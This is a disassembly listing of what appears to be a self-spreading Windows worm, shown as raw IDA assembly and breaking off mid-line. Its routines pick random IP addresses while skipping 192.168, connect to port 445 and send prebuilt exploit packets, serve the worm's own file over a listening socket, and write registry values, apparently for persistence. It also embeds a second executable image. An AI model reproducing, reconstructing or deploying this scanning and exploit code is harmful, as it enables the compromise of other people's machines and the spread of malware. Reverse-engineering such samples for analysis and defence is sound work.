0Eh dup(10005000h), 44545243h, 442E4C4Ch, 4C4Ch, 0Ch dup(10005014h) dd 22h dup(0) dd 20h, 0 dd 20h, 1000h, 1800h, 2000h, 2C00h, 78h dup(0) dd 1000h, 94h, 3086302Bh, 30F730EDh, 310D30FFh, 311B3113h dd 31B03121h, 31FD31F0h, 320F3202h, 32243214h, 323F322Ah dd 335F32BEh, 33783366h, 339D3381h, 33AF33A6h, 33BB33B5h dd 33CA33C4h, 33DC33D0h, 33FF33EAh, 35183410h, 3543352Ch dd 356D354Fh, 35DA357Eh, 368635F7h, 369E3692h, 36B636AAh dd 36CE36C2h, 36E636DAh, 36FE36F2h, 3716370Ah, 372E3722h dd 3746373Ah, 375E3752h, 3776376Ah, 378E3782h, 37A6379Ah dd 37B2h, 4000h, 0Ch, 3000h, 5000h, 3Ch, 330C3308h, 33143310h dd 331C3318h, 33243320h, 332C3328h, 33343330h, 333C3338h dd 3350334Ch, 33583354h, 3360335Ch, 33683364h, 3370336Ch dd 33783374h, 4Ah dup(0) aB_1 db 0Ah db 'µ|B',0 align 4 aP db '(p',0 align 4 dd 3 dup(1), 7030h, 7034h, 7038h, 2E6C6C64h, 6C6C64h, 1536h dd 703Ch, 0 a_libmain@12 db '_LibMain@12',0 dd 6Eh dup(0) db 0 byte_43EB9D db 4Dh, 5Ah, 90h ; DATA XREF: sub_403A5F+CCo dd 300h, 400h, 0FFFF00h, 0B800h, 0 dd 4000h, 8 dup(0) dd 8000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0 dd 455000h, 4014C00h, 7CA9DF00h, 42h, 0 dd 0E00E000h, 2010B01h, 1A0037h, 180000h, 20000h, 121900h dd 100000h, 300000h, 40000000h, 100000h, 20000h, 100h dd 0 dd 400h, 0 dd 600000h, 40000h, 0 dd 200h, 10000000h, 100000h, 10000000h, 100000h, 0 dd 1000h, 2 dup(0) dd 500000h, 97000h, 1Ch dup(0) dd 65742E00h, 7478h, 19A400h, 100000h, 19A400h, 40000h dd 3 dup(0) dd 2000h, 73622E60h, 73h, 11000h, 300000h, 5 dup(0) dd 8000h, 61642EC0h, 6174h, 0DE800h, 400000h, 0DE800h dd 1E0000h, 3 dup(0) dd 4000h, 64692EC0h, 617461h, 97000h, 500000h, 97000h dd 2C0000h, 3 dup(0) dd 6000h, 0C0h, 79h dup(0) dd 40C03100h, 4244C8Bh, 60441F7h, 74000000h, 24448B0Fh dd 24548B08h, 0B8028910h, 3 db 0C3h ; =============== S U B R O U T I N E ======================================= sub_43EFBD proc near ; CODE XREF: .data:0043F0F5p ; .data:0043F123p var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_401000 push large dword ptr fs:0 mov large fs:0, esp loc_43EFDA: ; CODE XREF: sub_43EFBD+44j ; sub_43EFBD+4Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_43F009 cmp esi, [esp+1Ch+arg_4] jz short loc_43F009 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov ecx, [esp+1Ch+var_14] mov ecx, [eax+0Ch] cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_43EFDA call dword ptr [ebx+esi*4+8] jmp short loc_43EFDA ; --------------------------------------------------------------------------- loc_43F009: ; CODE XREF: sub_43EFBD+2Aj ; sub_43EFBD+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_43EFBD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F017 proc near ; CODE XREF: .data:0043F0E8p arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_401092 push [ebp+arg_0] call sub_440755 pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_43F017 endp ; --------------------------------------------------------------------------- db 0FCh ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp mov ebx, [ebp+0Ch] mov eax, [ebp+8] mov dword ptr ds:loc_404086+6, eax mov dword ptr ds:loc_40408D+3, ebx test dword ptr [eax+4], 6 jnz loc_43F11C mov [ebp-8], eax mov eax, [ebp+10h] mov [ebp-4], eax mov dword ptr ds:loc_40408D+3, eax lea eax, [ebp-8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_43F07A: ; CODE XREF: .data:0043F113j cmp esi, 0FFFFFFFFh jz loc_43F12B lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_43F10A push esi push ebp lea ebp, [ebx+10h] mov eax, [ebp-14h] mov eax, [eax] mov eax, [eax] mov dword ptr ds:loc_40402C+4, eax mov edx, [ebp-14h] mov eax, [edx] mov dword ptr ds:loc_404033+1, eax mov eax, [edx+4] mov dword ptr ds:loc_404033+5, eax push esi push edi push ecx mov ecx, 14h lea edi, loc_40403B+1 mov esi, dword ptr ds:loc_404033+1 rep movsd lea edi, loc_40403B+1 mov dword ptr ds:loc_404033+1, edi pop ecx pop edi pop esi call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+0Ch] or eax, eax jz short loc_43F10A js short loc_43F118 mov edi, [ebx+8] push ebx call sub_43F017 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_43EFBD add esp, 8 lea ecx, [esi+esi*2] mov eax, [edi+ecx*4] mov eax, [ebx+0Ch] call dword ptr [edi+ecx*4+8] loc_43F10A: ; CODE XREF: .data:0043F08Bj ; .data:0043F0E0j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp loc_43F07A ; --------------------------------------------------------------------------- loc_43F118: ; CODE XREF: .data:0043F0E2j xor eax, eax jmp short loc_43F18D ; --------------------------------------------------------------------------- loc_43F11C: ; CODE XREF: .data:0043F05Aj push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_43EFBD add esp, 0Ch loc_43F12B: ; CODE XREF: .data:0043F07Dj push 0 mov dword ptr ds:loc_40400E+2, 0Bh push 0Bh call sub_4408F9 add esp, 8 or eax, eax jnz short loc_43F166 push 0 mov dword ptr ds:loc_40400E+2, 8 push 8 call sub_4408F9 add esp, 8 or eax, eax jnz short loc_43F166 mov eax, 1 jmp short loc_43F18D ; --------------------------------------------------------------------------- loc_43F166: ; CODE XREF: .data:0043F143j ; .data:0043F15Dj cmp eax, 0FFFFFFFFh jz short loc_43F195 push eax push dword ptr ds:loc_40400E+2 call sub_4408F9 add esp, 8 push dword ptr ds:loc_40400E+2 call sub_4408E1 add esp, 4 mov eax, 1 loc_43F18D: ; CODE XREF: .data:0043F11Aj ; .data:0043F164j ... pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_43F195: ; CODE XREF: .data:0043F169j cmp dword ptr ds:loc_40402C, 0 jnz short loc_43F1A5 mov eax, 1 jmp short loc_43F18D ; --------------------------------------------------------------------------- loc_43F1A5: ; CODE XREF: .data:0043F19Cj mov eax, dword ptr ds:loc_40402C push 0Bh jmp eax ; --------------------------------------------------------------------------- dw 0B858h dd 1, 0A164D7EBh, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push 40401Ch push offset sub_40109A push eax mov large fs:0, esp sub esp, 10h push ebx push esi push edi mov [ebp-18h], esp push eax fnstcw word ptr [esp] or word ptr [esp], 300h fldcw word ptr [esp] add esp, 4 push 0 push 0 push 404028h push 404024h push offset sub_404020 call sub_4408A5 push dword ptr ds:loc_404025+3 push dword ptr ds:loc_404023+1 push dword ptr ds:sub_404020 mov dword ptr ds:loc_40400E+6, esp call sub_4405FD add esp, 18h xor ecx, ecx mov [ebp-4], ecx push eax call sub_4408BD leave retn ; --------------------------------------------------------------------------- db 64h, 0A3h, 0 dd 0C3000000h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F239 proc near ; CODE XREF: sub_43F2D4+12p var_35 = byte ptr -35h var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38h push ebx push esi push edi mov edi, [ebp+arg_4] push 2 lea eax, [ebp+var_35] push eax push [ebp+arg_0] call sub_440899 add esp, 0Ch lea ecx, [ebp+var_35] or eax, 0FFFFFFFFh loc_43F25C: ; CODE XREF: sub_43F239+28j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F25C mov ebx, eax mov [ebp+var_2], bl mov [ebp+var_1], 0 jmp short loc_43F284 ; --------------------------------------------------------------------------- loc_43F26E: ; CODE XREF: sub_43F239+55j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] sub edx, eax dec edx mov al, [ebp+eax+var_35] mov [edi+edx], al add [ebp+var_1], 1 loc_43F284: ; CODE XREF: sub_43F239+33j movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] cmp eax, edx jl short loc_43F26E movzx eax, [ebp+var_2] mov byte ptr [edi+eax], 0 mov [ebp+var_3], 0 jmp short loc_43F2B0 ; --------------------------------------------------------------------------- loc_43F29E: ; CODE XREF: sub_43F239+88j push 404DE5h push edi call sub_44091D add esp, 8 add [ebp+var_3], 1 loc_43F2B0: ; CODE XREF: sub_43F239+63j movzx eax, [ebp+var_3] mov edx, 20h movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jl short loc_43F29E push [ebp+arg_8] push edi call sub_44091D add esp, 8 pop edi pop esi pop ebx leave retn sub_43F239 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F2D4 proc near ; CODE XREF: sub_4403F5+97p var_32 = byte ptr -32h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34h push 404DE3h lea eax, [ebp+var_32] push eax push [ebp+arg_0] call sub_43F239 add esp, 0Ch lea eax, [ebp+var_32] push eax call sub_44070D leave retn sub_43F2D4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F2F9 proc near ; CODE XREF: .data:004403B3p ; sub_4403F5+F1p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push eax push edi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push 0 push 0F003Fh push 0 push 0 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_44085D mov edi, eax or edi, edi jz short loc_43F329 xor eax, eax jmp short loc_43F361 ; --------------------------------------------------------------------------- loc_43F329: ; CODE XREF: sub_43F2F9+2Aj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_4] call sub_44088D mov edi, eax push [ebp+var_4] call sub_440869 or edi, edi jz short loc_43F351 xor eax, eax jmp short loc_43F361 ; --------------------------------------------------------------------------- loc_43F351: ; CODE XREF: sub_43F2F9+52j cmp [ebp+var_8], 1 jnz short loc_43F35E mov eax, 2 jmp short loc_43F361 ; --------------------------------------------------------------------------- loc_43F35E: ; CODE XREF: sub_43F2F9+5Cj xor eax, eax inc eax loc_43F361: ; CODE XREF: sub_43F2F9+2Ej ; sub_43F2F9+56j ... pop edi leave retn sub_43F2F9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F364 proc near ; CODE XREF: .data:0044038Cp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push edi lea eax, [ebp+var_4] push eax push 20019h push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_440875 mov edi, eax or edi, edi jz short loc_43F389 xor eax, eax jmp short loc_43F3B4 ; --------------------------------------------------------------------------- loc_43F389: ; CODE XREF: sub_43F364+1Fj push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_14] push 0 push [ebp+arg_8] push [ebp+var_4] call sub_440881 mov edi, eax push [ebp+var_4] call sub_440869 or edi, edi jz short loc_43F3B1 xor eax, eax jmp short loc_43F3B4 ; --------------------------------------------------------------------------- loc_43F3B1: ; CODE XREF: sub_43F364+47j xor eax, eax inc eax loc_43F3B4: ; CODE XREF: sub_43F364+23j ; sub_43F364+4Bj pop edi leave retn sub_43F364 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h push ebx push esi push edi xor ebx, ebx push 0 push 100h lea eax, [ebp-100h] push eax push dword ptr [ebp+8] call sub_4405B5 cmp eax, 0FFFFFFFFh jz loc_43F4FB push 404DDFh lea eax, [ebp-100h] push eax call sub_440935 add esp, 8 or eax, eax jz loc_43F4BD push 404DDBh lea edx, [ebp-100h] push edx call sub_440935 add esp, 8 or eax, eax jz loc_43F4BD push 0 push 3Dh push 404D9Dh push dword ptr [ebp+8] call sub_4405C1 push dword ptr ds:loc_403004 push 404D86h lea eax, [ebp-200h] push eax call sub_440905 add esp, 0Ch lea ecx, [ebp-200h] or eax, 0FFFFFFFFh loc_43F450: ; CODE XREF: .data:0043F455j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_43F450 push 0 push eax lea edx, [ebp-200h] push edx push dword ptr [ebp+8] call sub_4405C1 loc_43F469: ; CODE XREF: .data:0043F4AFj mov eax, dword ptr ds:loc_403004 mov edi, eax sub edi, ebx cmp edi, 1000h jb short loc_43F47F mov edi, 1000h loc_43F47F: ; CODE XREF: .data:0043F478j or edi, edi jz short loc_43F4B1 push 0 push edi mov eax, ebx add eax, dword ptr ds:loc_403004+4 push eax push dword ptr [ebp+8] call sub_4405C1 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_43F4FB cmp esi, 1000h jb short loc_43F4B1 add ebx, esi push 64h call sub_44076D jmp short loc_43F469 ; --------------------------------------------------------------------------- loc_43F4B1: ; CODE XREF: .data:0043F481j ; .data:0043F4A4j push 404098h call sub_440725 jmp short loc_43F4DF ; --------------------------------------------------------------------------- loc_43F4BD: ; CODE XREF: .data:0043F3FAj ; .data:0043F416j push 0 push 15h push 404D70h push dword ptr [ebp+8] call sub_4405C1 push 0 push 0Dh push 40409Ch push dword ptr [ebp+8] call sub_4405C1 loc_43F4DF: ; CODE XREF: .data:0043F4BBj push 7D0h call sub_44076D push 2 push dword ptr [ebp+8] call sub_4405CD push dword ptr [ebp+8] call sub_440555 loc_43F4FB: ; CODE XREF: .data:0043F3DEj ; .data:0043F49Cj pop edi pop esi pop ebx leave retn 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi push 0 push 404098h call sub_440719 push 0 push 80h push 3 push 0 push 1 push 80000000h push offset sub_403010 call sub_44073D mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_43F541 push 1 call sub_4406AD loc_43F541: ; CODE XREF: .data:0043F538j push 0 push ebx call sub_4406D1 mov dword ptr ds:loc_403004, eax push eax push 0 call sub_440731 mov dword ptr ds:loc_403004+4, eax push 0 lea eax, [ebp-30h] push eax push dword ptr ds:loc_403004 push dword ptr ds:loc_403004+4 push ebx call sub_440749 push ebx call sub_4406E9 push 0 push 1 push 2 call sub_4405D9 mov esi, eax push 10h lea eax, [ebp-24h] push eax call sub_440761 mov word ptr [ebp-24h], 2 and dword ptr [ebp-20h], 0 mov word ptr [ebp-26h], 0 loc_43F5A1: ; CODE XREF: .data:0043F5E1j movzx eax, word ptr [ebp-26h] add eax, 50h mov word ptr ds:loc_404092+2, ax movzx eax, word ptr ds:loc_404092+2 push eax call sub_440585 mov edx, eax mov [ebp-22h], dx push 10h lea eax, [ebp-24h] push eax push esi call sub_440549 mov [ebp-2Ch], eax inc word ptr [ebp-26h] or eax, eax jz short loc_43F5E3 movzx eax, word ptr [ebp-26h] cmp eax, 0FDE8h jl short loc_43F5A1 loc_43F5E3: ; CODE XREF: .data:0043F5D6j push 64h push esi call sub_4405A9 mov dword ptr [ebp-4], 10h loc_43F5F2: ; CODE XREF: .data:0043F61Dj lea eax, [ebp-4] push eax lea eax, [ebp-14h] push eax push esi call sub_44053D mov edi, eax lea eax, [ebp-34h] push eax push 0 push edi push 40141Ah push 0 push 0 call sub_440791 push eax call sub_4406E9 jmp short loc_43F5F2 ; --------------------------------------------------------------------------- db 5Fh dd 0C3C95B5Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F624 proc near ; CODE XREF: .data:0043FE57p var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = byte ptr -18h var_13 = byte ptr -13h var_3 = byte ptr -3 var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi lea edi, [ebp+var_13] lea esi, sub_4040AA mov ecx, 4 rep movsd lea edi, [ebp+var_18] lea esi, loc_4040B4+6 mov ecx, 5 rep movsb loc_43F64D: ; CODE XREF: sub_43F624+51j ; sub_43F624+74j call sub_4408ED mov ecx, 0DDh cdq idiv ecx lea edi, [edx+3] mov ebx, edi mov [ebp+var_3], bl mov [ebp+var_2], 0 jmp short loc_43F69E ; --------------------------------------------------------------------------- loc_43F66A: ; CODE XREF: sub_43F624+81j mov al, [ebp+var_3] movzx edx, [ebp+var_2] cmp al, [ebp+edx+var_13] jz short loc_43F64D movzx eax, [ebp+var_2] cmp eax, 5 jnb short loc_43F69A movzx eax, [ebp+var_3] movzx edx, [ebp+var_2] movzx ecx, [ebp+edx+var_13] cmp eax, ecx jb short loc_43F69A movzx edx, [ebp+edx+var_18] cmp eax, edx jbe short loc_43F64D loc_43F69A: ; CODE XREF: sub_43F624+5Aj ; sub_43F624+6Bj inc [ebp+var_2] loc_43F69E: ; CODE XREF: sub_43F624+44j movzx eax, [ebp+var_2] cmp eax, 10h jb short loc_43F66A loc_43F6A7: ; CODE XREF: sub_43F624+ACj call sub_4408ED mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_19], bl movzx eax, [ebp+var_3] cmp eax, 0C0h jnz short loc_43F6D2 movzx eax, [ebp+var_19] cmp eax, 0A8h jz short loc_43F6A7 loc_43F6D2: ; CODE XREF: sub_43F624+A1j call sub_4408ED mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_1A], bl call sub_4408ED mov ecx, 0FDh cdq idiv ecx lea edi, [edx+1] mov ebx, edi mov [ebp+var_1B], bl movzx eax, [ebp+var_1B] push eax movzx eax, [ebp+var_1A] push eax movzx eax, [ebp+var_19] push eax movzx eax, [ebp+var_3] push eax push 404D64h push [ebp+arg_0] call sub_440905 add esp, 18h pop edi pop esi pop ebx leave retn sub_43F624 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_43F725 proc near ; CODE XREF: .data:0044005Cp var_89F4 = dword ptr -89F4h var_89F0 = dword ptr -89F0h var_89EC = dword ptr -89ECh var_89E8 = dword ptr -89E8h var_89E3 = byte ptr -89E3h var_89E2 = word ptr -89E2h var_89E0 = byte ptr -89E0h var_89D8 = byte ptr -89D8h var_8970 = byte ptr -8970h var_6900 = byte ptr -6900h var_68E2 = byte ptr -68E2h var_6842 = byte ptr -6842h var_6136 = dword ptr -6136h var_6126 = byte ptr -6126h var_6112 = byte ptr -6112h var_60A2 = byte ptr -60A2h var_55DE = byte ptr -55DEh var_403A = byte ptr -403Ah var_4039 = byte ptr -4039h var_3FBD = byte ptr -3FBDh var_37ED = byte ptr -37EDh var_3342 = byte ptr -3342h var_3058 = dword ptr -3058h var_3054 = dword ptr -3054h var_3050 = dword ptr -3050h var_304C = word ptr -304Ch var_304A = word ptr -304Ah var_3048 = dword ptr -3048h var_303C = byte ptr -303Ch var_3039 = byte ptr -3039h var_300F = byte ptr -300Fh var_300D = byte ptr -300Dh var_300C = byte ptr -300Ch var_2FC7 = byte ptr -2FC7h var_2F83 = byte ptr -2F83h var_2987 = byte ptr -2987h var_21A3 = byte ptr -21A3h var_2193 = byte ptr -2193h var_1E6F = byte ptr -1E6Fh var_1E6B = byte ptr -1E6Bh var_1E5F = byte ptr -1E5Fh var_1BDA = byte ptr -1BDAh var_1BD9 = byte ptr -1BD9h var_B46 = byte ptr -0B46h var_82 = byte ptr -82h var_81 = byte ptr -81h var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_54 = dword ptr -54h var_50 = byte ptr -50h var_4F = byte ptr -4Fh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 89F4h call sub_440661 push ebx push esi push edi mov [ebp+var_3054], 1 mov [ebp+var_89F0], 1 lea edi, [ebp+var_89E0] lea esi, loc_4049EB+5 movsd movsd and [ebp+var_89F4], 0 mov [ebp+var_89E2], 1BDh push 0 push 1 push 2 call sub_4405D9 mov [ebp+var_54], eax cmp eax, 0FFFFFFFFh jz loc_43FD7B mov eax, [ebp+arg_0] mov [ebp+var_89EC], eax push eax call sub_44059D push 1Dh push eax lea edi, [ebp+var_6900] push edi call sub_440779 lea eax, [ebp+var_6900] push eax push 404D5Ah lea eax, [ebp+var_7C] push eax call sub_440905 add esp, 0Ch xor ebx, ebx loc_43F7B6: ; CODE XREF: sub_43F725+A2j mov dl, [ebp+ebx+var_7C] mov [ebp+ebx*2+var_50], dl mov [ebp+ebx*2+var_4F], 0 inc ebx cmp ebx, 28h jl short loc_43F7B6 push 60h push offset sub_404525 lea eax, [ebp+var_303C] push eax call sub_4408C9 lea eax, [ebp+var_7C] push eax call sub_440785 mov edi, eax shl edi, 1 push edi lea edi, [ebp+var_50] push edi lea edi, [ebp+var_300C] push edi call sub_4408C9 lea eax, [ebp+var_7C] push eax call sub_440785 push 9 push 40457Ch mov edi, eax shl edi, 1 lea edi, [ebp+edi+var_300D] push edi call sub_4408C9 lea eax, [ebp+var_7C] push eax call sub_440785 mov edx, eax movsx edi, dl shl edi, 1 add edi, 34h mov edx, edi mov [ebp+var_403A], dl push 1 lea eax, [ebp+var_403A] push eax lea eax, [ebp+var_3039] push eax call sub_4408C9 lea eax, [ebp+var_7C] push eax call sub_440785 mov edx, eax movsx edi, dl shl edi, 1 add edi, 9 mov edx, edi mov [ebp+var_89E3], dl push 1 lea eax, [ebp+var_89E3] push eax lea eax, [ebp+var_300F] push eax call sub_4408C9 mov eax, [ebp+arg_4] mov [ebp+var_3058], eax push 0E29h push 31h lea eax, [ebp+var_4039] push eax call sub_4408D5 add esp, 48h push 10h lea eax, [ebp+var_304C] push eax call sub_440761 mov [ebp+var_304C], 2 movsx eax, [ebp+var_89E2] movzx eax, ax push eax call sub_440585 mov edi, eax mov [ebp+var_304A], di mov eax, [ebp+arg_0] mov [ebp+var_3048], eax push 10h lea eax, [ebp+var_304C] push eax push [ebp+var_54] call sub_440561 cmp eax, 0FFFFFFFFh jnz short loc_43F8F8 mov [ebp+var_3054], 2 jmp loc_43FD73 ; --------------------------------------------------------------------------- loc_43F8F8: ; CODE XREF: sub_43F725+1C2j push 64h call sub_44076D push 0 push 89h push offset sub_404313 push [ebp+var_54] call sub_4405C1 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_44076D push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405B5 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD69 push 0 push 0A8h push 40439Dh push [ebp+var_54] call sub_4405C1 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_44076D push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405B5 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD69 push 0 push 0DEh push 404446h push [ebp+var_54] call sub_4405C1 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_44076D push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405B5 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD69 mov eax, [ebp+var_80] cmp eax, 0FFFFFFFFh jz short loc_43F9D2 cmp eax, 46h jge short loc_43F9D7 loc_43F9D2: ; CODE XREF: sub_43F725+2A6j jmp loc_43FD69 ; --------------------------------------------------------------------------- loc_43F9D7: ; CODE XREF: sub_43F725+2ABj lea eax, [ebp+var_2F83] mov [ebp+var_89E8], eax cmp byte ptr [eax], 31h setnz al and eax, 1 mov [ebp+var_3050], eax jz loc_43FAEB push 0DACh push 90h lea eax, [ebp+var_2987] push eax call sub_4408D5 push 4 imul eax, [ebp+var_3050], 3Ch lea eax, ds:404938h[eax] push eax lea eax, [ebp+var_21A3] push eax call sub_4408C9 push [ebp+arg_8] push [ebp+var_3058] lea eax, [ebp+var_2193] push eax call sub_4408C9 push 4 push 404D55h lea eax, [ebp+var_1E6F] push eax call sub_4408C9 push 4 imul eax, [ebp+var_3050], 3Ch lea eax, ds:404938h[eax] push eax lea eax, [ebp+var_1E6B] push eax call sub_4408C9 push [ebp+var_3058] call sub_440785 push eax push [ebp+var_3058] lea edi, [ebp+var_1E5F] push edi call sub_4408C9 add esp, 48h xor ebx, ebx loc_43FA93: ; CODE XREF: sub_43F725+38Bj mov dl, [ebp+ebx+var_2987] mov [ebp+ebx*2+var_1BDA], dl mov [ebp+ebx*2+var_1BD9], 0 inc ebx cmp ebx, 0DACh jl short loc_43FA93 mov [ebp+var_82], 0 mov [ebp+var_81], 0 push 1C52h push 31h lea eax, [ebp+var_89D8] push eax call sub_4408D5 push 1C52h push 31h lea eax, [ebp+var_6112] push eax call sub_4408D5 add esp, 18h jmp short loc_43FB4D ; --------------------------------------------------------------------------- loc_43FAEB: ; CODE XREF: sub_43F725+2CDj push 7D0h push 90h lea eax, [ebp+var_68E2] push eax call sub_4408D5 push [ebp+var_3058] call sub_440785 push eax push [ebp+var_3058] lea edi, [ebp+var_6842] push edi call sub_4408C9 lea eax, [ebp+var_89E0] push eax call sub_440785 push eax lea edi, [ebp+var_89E0] push edi lea edi, [ebp+var_6126] push edi call sub_4408C9 add esp, 24h mov eax, dword ptr ds:loc_404937+1 mov [ebp+var_6136], eax loc_43FB4D: ; CODE XREF: sub_43F725+3C4j push 0 movsx eax, [ebp+var_403A] add eax, 4 push eax lea eax, [ebp+var_303C] push eax push [ebp+var_54] call sub_4405C1 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_44076D push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405B5 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD69 push 0 push 68h push offset sub_404586 push [ebp+var_54] call sub_4405C1 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_44076D push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405B5 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD69 push 0 push 0A0h push offset sub_4045EF push [ebp+var_54] call sub_4405C1 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_44076D push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405B5 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD69 cmp [ebp+var_3050], 0 jz loc_43FCF5 push 68h push offset sub_40479E lea eax, [ebp+var_89D8] push eax call sub_4408C9 push 1B5Ah lea eax, [ebp+var_1BDA] push eax lea eax, [ebp+var_8970] push eax call sub_4408C9 push 70h push offset sub_404807 lea eax, [ebp+var_6112] push eax call sub_4408C9 push 0A5Eh lea eax, [ebp+var_B46] push eax lea eax, [ebp+var_60A2] push eax call sub_4408C9 push 84h push 404878h lea eax, [ebp+var_55DE] push eax call sub_4408C9 add esp, 3Ch push 0 push 10FCh lea eax, [ebp+var_89D8] push eax push [ebp+var_54] call sub_4405C1 cmp eax, 0FFFFFFFFh jnz short $+2 push 64h call sub_44076D push 0 push 640h lea eax, [ebp+var_2FC7] push eax push [ebp+var_54] call sub_4405B5 mov [ebp+var_80], eax cmp eax, 0FFFFFFFFh jz loc_43FD69 push 0 push 0FDCh lea eax, [ebp+var_6112] push eax push [ebp+var_54] call sub_4405C1 cmp eax, 0FFFFFFFFh jnz short loc_43FD5B jmp short loc_43FD5B ; --------------------------------------------------------------------------- loc_43FCF5: ; CODE XREF: sub_43F725+4FAj push 7Ch push 404690h lea eax, [ebp+var_4039] push eax call sub_4408C9 push 7D0h lea eax, [ebp+var_68E2] push eax lea eax, [ebp+var_3FBD] push eax call sub_4408C9 push 90h push offset sub_40470D lea eax, [ebp+var_37ED] push eax call sub_4408C9 add esp, 24h mov [ebp+var_3342], 0 push 0 push 0CF8h lea eax, [ebp+var_4039] push eax push [ebp+var_54] call sub_4405C1 cmp eax, 0FFFFFFFFh jnz short $+2 loc_43FD5B: ; CODE XREF: sub_43F725+5CCj ; sub_43F725+5CEj push 64h call sub_44076D and [ebp+var_3054], 0 loc_43FD69: ; CODE XREF: sub_43F725+216j ; sub_43F725+258j ... push 2 push [ebp+var_54] call sub_4405CD loc_43FD73: ; CODE XREF: sub_43F725+1CEj push [ebp+var_54] call sub_440555 loc_43FD7B: ; CODE XREF: sub_43F725+53j mov eax, [ebp+var_3054] pop edi pop esi pop ebx leave retn sub_43F725 endp ; sp-analysis failed ; =============== S U B R O U T 